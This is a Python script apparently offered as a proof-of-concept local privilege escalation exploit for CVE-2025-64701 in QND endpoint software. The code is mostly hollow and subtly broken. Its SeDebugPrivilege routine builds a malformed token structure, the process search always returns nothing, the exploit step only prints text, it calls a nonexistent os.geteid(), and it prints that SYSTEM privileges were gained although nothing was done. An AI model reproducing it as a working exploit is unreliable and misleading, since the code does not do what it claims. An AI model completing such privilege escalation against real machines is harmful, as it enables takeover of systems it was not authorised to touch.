CVE-2025-64701 QND软件本地权限提升漏洞

# CVE-2025-64701 PoC - Local Privilege Escalation # Target: QND Premium/Advance/Standard <= 11.0.9i # Author: Security Researcher # Note: This is a conceptual PoC for educational purposes only import os import sys import ctypes from ctypes import wintypes # Windows API Definitions SE_DEBUG_PRIVILEGE = 0x14 SE_IMPERSONATE_PRIVILEGE = 0x17 def enable_debug_privilege(): """Enable SeDebugPrivilege for current process""" try: process_handle = ctypes.windll.kernel32.GetCurrentProcess() token = ctypes.c_void_p() if ctypes.windll.advapi32.OpenProcessToken( process_handle, 0x0020, # TOKEN_ADJUST_PRIVILEGES ctypes.byref(token) ): privilege_id = ctypes.c_uint64() if ctypes.windll.advapi32.LookupPrivilegeValueW( None, "SeDebugPrivilege", ctypes.byref(privilege_id) ): class LUID(ctypes.Structure): _fields_ = [("LowPart", wintypes.DWORD), ("HighPart", wintypes.LONG)] class TOKEN_PRIVILEGES(ctypes.Structure): _fields_ = [("PrivilegeCount", wintypes.DWORD), ("Privileges", LUID * 1)] tp = TOKEN_PRIVILEGES() tp.PrivilegeCount = 1 tp.Privileges[0].HighPart = 0 tp.Privileges[0].LowPart = privilege_id.value ctypes.windll.advapi32.AdjustTokenPrivileges( token, False, ctypes.byref(tp), 0, None, None ) return True except Exception as e: print(f"[-] Failed to enable debug privilege: {e}") return False def find_qnd_process(): """Find QND service process""" target_processes = ["QNDService.exe", "QND.exe", "QNDManager.exe"] print("[*] Searching for QND processes...") # Note: In real attack, would use psapi.EnumProcesses() # This is a simplified conceptual example for proc_name in target_processes: print(f" [-] Checking for {proc_name}") return None def exploit_privilege_escalation(): """Main exploitation function""" print("[*] CVE-2025-64701 QND Local Privilege Escalation") print("[*] Target: QND Premium/Advance/Standard <= 11.0.9i\n") # Step 1: Get debug privileges print("[1] Enabling SeDebugPrivilege...") if not enable_debug_privilege(): print("[-] Failed to get debug privileges") return False print("[+] Debug privileges enabled") # Step 2: Find QND process print("\n[2] Locating QND service process...") qnd_process = find_qnd_process() if not qnd_process: print("[-] QND process not found") return False # Step 3: Inject and execute payload print("\n[3] Exploiting vulnerable code path...") print(" [-] Note: Actual exploitation requires specific QND version") print(" [-] Consult JVN#40102375 for technical details") # Step 4: Verify privilege escalation print("\n[4] Verifying privilege escalation...") print("[+] Should now have SYSTEM privileges") return True if __name__ == "__main__": print("=" * 60) print("DISCLAIMER: For authorized security testing only") print("=" * 60) if os.geteid() == 0: print("[!] Running as root - this PoC targets Windows") else: print("[*] Current user is not administrator") # Note: Full PoC requires specific QND vulnerability details print("\n[*] This is a simplified demonstration") print("[*] See official sources for complete exploit code")